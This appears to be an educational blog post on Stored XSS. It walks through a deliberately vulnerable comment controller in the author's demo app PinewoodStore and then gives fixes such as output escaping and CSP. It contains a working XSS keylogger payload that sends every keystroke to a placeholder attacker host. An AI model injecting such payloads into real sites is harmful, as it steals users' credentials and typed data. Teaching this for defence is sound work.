Hello everyone,
Today we would be discussing about Stored XSS and how this vulnerability is exploited by bad actors. We would also analyze vulnerable source code from PinewoodStore, a Vulnerable Web I created to Demo different vulnerabilities.
๐ Definition: What is Stored XSS?
Stored Cross-Site Scripting (Stored XSS) is a type of web security vulnerability where malicious scripts are permanently stored on a web server and later executed when other users visit the affected page. Unlike Reflected XSS, where the attack payload is part of a request and executed immediately, Stored XSS remains persistent, making it far more dangerous.
๐ Impact of Stored XSS:
- Attackers can steal user credentials (e.g., session cookies).
- Deface web pages or inject fake forms for phishing.
- Perform actions on behalf of authenticated users (CSRF-like attacks).
- Capture keystrokes and track user input (keylogging).
โ ๏ธ Stored XSS Vulnerability in PinewoodStore Web App
Letโs analyze a real-world Stored XSS vulnerability in the PinewoodStore web application, specifically in the CommentController.java source code.
๐ Vulnerable Source Code: CommentController.java
package com.enoch.auth2.controller;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Controller;
import org.springframework.ui.Model;
import org.springframework.web.bind.annotation.*;
import com.enoch.auth2.model.Comment;
import com.enoch.auth2.repository.CommentRepository;
import java.util.List;
@Controller
@RequestMapping("/comments")
public class CommentController {
@Autowired
private CommentRepository commentRepository;
@GetMapping
public String getComments(Model model) {
List<Comment> comments = commentRepository.findAll();
model.addAttribute("comments", comments);
return "comments";
}
@PostMapping("/add")
public String addComment(@RequestParam String name, @RequestParam String email, @RequestParam String comment) {
Comment newComment = new Comment(name, email, comment);
commentRepository.save(newComment);
return "redirect:/comments";
}
}
๐ Where is the Vulnerability?
๐ด Issue 1: Lack of Input Sanitization
- The
addCommentmethod directly saves user input (name,email,comment) into the database without sanitizing it. - If an attacker submits a comment containing malicious JavaScript, it will be stored in the database and executed every time a user loads the comments page.
๐ด Issue 2: Unescaped Output in the View (Thymeleaf/HTML Template)
- The retrieved comments are directly displayed on the webpage (
comments.html). - If the template does not properly escape HTML and JavaScript, malicious scripts will execute on the clientโs browser.
๐ Exploiting the Stored XSS in PinewoodStore
1๏ธโฃ Attack Execution
An attacker submits the following malicious comment using the /comments/add endpoint:
Name: Attacker
Email: attacker@example.com
Comment: <script>alert('Hacked!');</script>
2๏ธโฃ What Happens Next?
- The server stores the comment without sanitizing it.
- When another user visits the /comments page, the
<script>tag gets executed in their browser. - The attacker can now steal user session tokens or redirect users to a malicious site.
3๏ธโฃ Keylogging via XSS (Advanced Attack)
Stored XSS can be used to capture keystrokes from unsuspecting users. An attacker can inject the following script into the comments section:
<script>
document.addEventListener('keydown', function(event) {
fetch('https://attacker.com/log?key=' + event.key);
});
</script>
How It Works?
- This script listens for any key pressed on the webpage.
- Every keystroke is sent to the attackerโs server (
attacker.com). - This allows the attacker to capture sensitive data, including usernames, passwords, and search queries.
๐ Real-World Impact:
- Attackers can steal login credentials by logging what users type.
- Sensitive information, such as credit card numbers and personal messages, can be compromised.
- Users remain unaware that their keystrokes are being tracked.
๐ก How to Fix Stored XSS?
โ
Sanitize Input Before Storing
Use HTML encoding to escape <script> tags and other dangerous characters. In Java, you can use Apache Commons Text or Springโs HtmlUtils:
import org.springframework.web.util.HtmlUtils; // Sanitize user input before saving String safeComment = HtmlUtils.htmlEscape(comment); newComment.setComment(safeComment);
โ
Escape Output When Rendering HTML
If using Thymeleaf, ensure that user-generated content is escaped:
<!-- Use 'th:text' instead of 'th:utext' to escape HTML -->
<p th:text="${comment.comment}"></p>
โ
Use a Web Application Firewall (WAF)
A WAF can detect and block XSS attacks before they reach the application.
โ
Enable Content Security Policy (CSP)
CSP prevents execution of inline scripts:
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'self';">
โ
Validate Input on Both Client and Server Side
Use regular expressions to restrict dangerous characters in input fields:
if (comment.contains("<") || comment.contains(">") || comment.contains("script")) {
throw new IllegalArgumentException("Invalid input detected!");
}
๐ข Live Demo Announcement! ๐ฅ
To see Stored XSS in action, I will be sharing the recorded Demo on my YouTube channel!
๐ Live Demo Includes:
โ
How to exploit the vulnerability in PinewoodStore.
โ
How attackers steal session tokens using XSS.
โ
Using XSS for keylogging with document.addEventListener().
โ
Step-by-step fixes to secure PinewoodStore.